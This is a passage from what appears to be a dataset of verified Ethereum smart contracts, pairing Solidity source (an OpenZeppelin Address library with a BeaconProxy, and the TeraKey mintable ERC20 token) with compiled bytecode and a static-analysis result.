*/ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy { /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) public payable { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _setBeacon(beacon, data); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address beacon) { bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { beacon := sload(slot) } } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { require( Address.isContract(beacon), "BeaconProxy: beacon is not a contract" ); require( Address.isContract(IBeacon(beacon).implementation()), "BeaconProxy: beacon implementation is not a contract" ); bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, beacon) } if (data.length > 0) { Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed"); } } }
0x6080604052366100135761001161001d565b005b61001b61001d565b005b610025610037565b610035610030610039565b6100c8565b565b565b60006100436100ee565b73ffffffffffffffffffffffffffffffffffffffff16635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561008857600080fd5b505afa15801561009c573d6000803e3d6000fd5b505050506040513d60208110156100b257600080fd5b8101908080519060200190929190505050905090565b3660008037600080366000845af43d6000803e80600081146100e9573d6000f35b3d6000fd5b6000807fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b9050805491505090565b600080823b905060008111915050919050565b606061013d8461011f565b610192576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061032e6026913960400191505060405180910390fd5b600060608573ffffffffffffffffffffffffffffffffffffffff16856040518082805190602001908083835b602083106101e157805182526020820191506020810190506020830392506101be565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610241576040519150601f19603f3d011682016040523d82523d6000602084013e610246565b606091505b5091509150610256828286610261565b925050509392505050565b6060831561027157829050610326565b6000835111156102845782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156102eb5780820151818401526020810190506102d0565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a2646970667358221220eb43a1d33c2f99bd7c16de6a7e839ffb01693ab803b30c0510848c3d675b30cd64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,679
0xed33ac0784b49253dd0a8522686f65fb8b0f3c02
pragma solidity 0.5.6; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public delegate; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "You must be owner."); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Invalid new owner address."); delegate = newOwner; } function confirmChangeOwnership() public { require(msg.sender == delegate, "You must be delegate."); emit OwnershipTransferred(owner, delegate); owner = delegate; delegate = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplying uint256 overflow."); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Dividing by zero is not allowed."); uint256 c = a / b; return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Negative uint256 is now allowed."); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Adding uint256 overflow."); return c; } } contract TransferFilter is Ownable { bool public isTransferable; mapping( address => bool ) internal mapAddressPass; mapping( address => bool ) internal mapAddressBlock; event LogSetTransferable(bool transferable); event LogFilterPass(address indexed target, bool status); event LogFilterBlock(address indexed target, bool status); // if Token transfer modifier checkTokenTransfer(address source) { if (isTransferable) { require(!mapAddressBlock[source], "Source address is in block filter."); } else { require(mapAddressPass[source], "Source address must be in pass filter."); } _; } constructor() public { isTransferable = true; } function setTransferable(bool transferable) external onlyOwner { isTransferable = transferable; emit LogSetTransferable(transferable); } function isInPassFilter(address user) external view returns (bool) { return mapAddressPass[user]; } function isInBlockFilter(address user) external view returns (bool) { return mapAddressBlock[user]; } function addressToPass(address[] calldata target, bool status) external onlyOwner { for( uint i = 0 ; i < target.length ; i++ ) { address targetAddress = target[i]; bool old = mapAddressPass[targetAddress]; if (old != status) { if (status) { mapAddressPass[targetAddress] = true; emit LogFilterPass(targetAddress, true); } else { delete mapAddressPass[targetAddress]; emit LogFilterPass(targetAddress, false); } } } } function addressToBlock(address[] calldata target, bool status) external onlyOwner { for( uint i = 0 ; i < target.length ; i++ ) { address targetAddress = target[i]; bool old = mapAddressBlock[targetAddress]; if (old != status) { if (status) { mapAddressBlock[targetAddress] = true; emit LogFilterBlock(targetAddress, true); } else { delete mapAddressBlock[targetAddress]; emit LogFilterBlock(targetAddress, false); } } } } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, TransferFilter { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; modifier onlyPayloadSize(uint8 param) { // Check payload size to prevent short address attack. // Payload size must be longer than sum of methodID length and size of parameters. require(msg.data.length >= param * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2) // number of parameters checkTokenTransfer(msg.sender) public returns (bool) { require(_to != address(0), "Invalid destination address."); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) // number of parameters checkTokenTransfer(_from) public returns (bool) { require(_from != address(0), "Invalid source address."); require(_to != address(0), "Invalid destination address."); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); uint256 _allowedValue = allowed[_from][msg.sender].sub(_value); allowed[_from][msg.sender] = _allowedValue; emit Transfer(_from, _to, _value); emit Approval(_from, msg.sender, _allowedValue); return true; } function approve(address _spender, uint256 _value) onlyPayloadSize(2) // number of parameters checkTokenTransfer(msg.sender) public returns (bool) { require(_spender != address(0), "Invalid spender address."); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0), "Already approved."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event MinterTransferred(address indexed previousMinter, address indexed newMinter); event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed from, uint256 value); bool public mintingFinished = false; address public minter; constructor() public { minter = msg.sender; emit MinterTransferred(address(0), minter); } modifier canMint() { require(!mintingFinished, "Minting is already finished."); _; } modifier hasPermission() { require(msg.sender == owner || msg.sender == minter, "You must be either owner or minter."); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) canMint hasPermission external returns (bool) { require(_to != address(0), "Invalid destination address."); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() canMint onlyOwner external returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function transferMinter(address newMinter) public onlyOwner { require(newMinter != address(0), "Invalid new minter address."); address prevMinter = minter; minter = newMinter; emit MinterTransferred(prevMinter, minter); } function burn(address _from, uint256 _amount) external hasPermission { require(_from != address(0), "Invalid source address."); balances[_from] = balances[_from].sub(_amount); totalSupply = totalSupply.sub(_amount); emit Transfer(_from, address(0), _amount); emit Burn(_from, _amount); } } contract TeraKey is MintableToken { string public constant name = "Terraforming Mars Key"; // solium-disable-line uppercase string public constant symbol = "TERAKEY"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase /** * @dev Constructor that initialize token. */ constructor() public { //totalSupply = 0; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638da5cb5b116100de578063afbdaa0511610097578063dd62ed3e11610071578063dd62ed3e14610854578063e602af06146108cc578063f2fde38b146108d6578063fe99ad5a1461091a57610173565b8063afbdaa0514610729578063b57874ce14610785578063c89e43611461080a57610173565b80638da5cb5b146104f357806394b44f3e1461053d57806395d89b41146105c25780639cd23707146106455780639dc29fac14610675578063a9059cbb146106c357610173565b806323b872dd1161013057806323b872dd1461030d578063313ce5671461039357806340c10f19146103b7578063483b1a761461041d57806370a08231146104795780637d64bcb4146104d157610173565b806305d2035b1461017857806306fdde031461019a578063075461721461021d578063095ea7b31461026757806318160ddd146102cd5780632121dc75146102eb575b600080fd5b61018061095e565b604051808215151515815260200191505060405180910390f35b6101a2610971565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e25780820151818401526020810190506101c7565b50505050905090810190601f16801561020f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102256109aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b36004803603604081101561027d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d0565b604051808215151515815260200191505060405180910390f35b6102d5610de1565b6040518082815260200191505060405180910390f35b6102f3610de7565b604051808215151515815260200191505060405180910390f35b6103796004803603606081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfa565b604051808215151515815260200191505060405180910390f35b61039b6113d5565b604051808260ff1660ff16815260200191505060405180910390f35b610403600480360360408110156103cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113da565b604051808215151515815260200191505060405180910390f35b61045f6004803603602081101561043357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061176e565b604051808215151515815260200191505060405180910390f35b6104bb6004803603602081101561048f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c4565b6040518082815260200191505060405180910390f35b6104d961180d565b604051808215151515815260200191505060405180910390f35b6104fb6119a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105c06004803603604081101561055357600080fd5b810190808035906020019064010000000081111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460208302840111640100000000831117156105a457600080fd5b90919293919293908035151590602001909291905050506119c9565b005b6105ca611c95565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561060a5780820151818401526020810190506105ef565b50505050905090810190601f1680156106375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106736004803603602081101561065b57600080fd5b81019080803515159060200190929190505050611cce565b005b6106c16004803603604081101561068b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de9565b005b61070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120f2565b604051808215151515815260200191505060405180910390f35b61076b6004803603602081101561073f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124af565b604051808215151515815260200191505060405180910390f35b6108086004803603604081101561079b57600080fd5b81019080803590602001906401000000008111156107b857600080fd5b8201836020820111156107ca57600080fd5b803590602001918460208302840111640100000000831117156107ec57600080fd5b9091929391929390803515159060200190929190505050612505565b005b6108126127d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108b66004803603604081101561086a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127f7565b6040518082815260200191505060405180910390f35b6108d461287e565b005b610918600480360360208110156108ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a86565b005b61095c6004803603602081101561093057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c30565b005b600760009054906101000a900460ff1681565b6040518060400160405280601581526020017f5465727261666f726d696e67204d617273204b6579000000000000000000000081525081565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060026004602082020160ff16600036905010156109ee57600080fd5b33600260149054906101000a900460ff1615610aac57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b610b4f565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610bf2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c6964207370656e64657220616464726573732e000000000000000081525060200191505060405180910390fd5b6000841480610c7d57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610cef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f416c726561647920617070726f7665642e00000000000000000000000000000081525060200191505060405180910390fd5b83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040518082815260200191505060405180910390a360019250505092915050565b60005481565b600260149054906101000a900460ff1681565b600060036004602082020160ff1660003690501015610e1857600080fd5b84600260149054906101000a900460ff1615610ed657600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b610f79565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561101c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156110bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61111184600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a684600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061127a85600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b905080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3600193505050509392505050565b601281565b6000600760009054906101000a900460ff161561145f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115085750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61155d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612fd26023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611600576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61161582600054612f0190919063ffffffff16565b60008190555061166d82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600760009054906101000a900460ff1615611892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b6001600760006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b83839050811015611c8f576000848483818110611aab57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905083151581151514611c80578315611bdc576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6001604051808215151515815260200191505060405180910390a2611c7f565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6000604051808215151515815260200191505060405180910390a25b5b50508080600101915050611a92565b50505050565b6040518060400160405280600781526020017f544552414b45590000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b80600260146101000a81548160ff0219169083151502179055507f4d49befdca73a4dc2f0a3a9ed2dd8ddd7a76d19758d7e27dbb88c5a576d6f92e81604051808215151515815260200191505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e925750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612fd26023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b611fdc81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061203481600054612e7e90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1b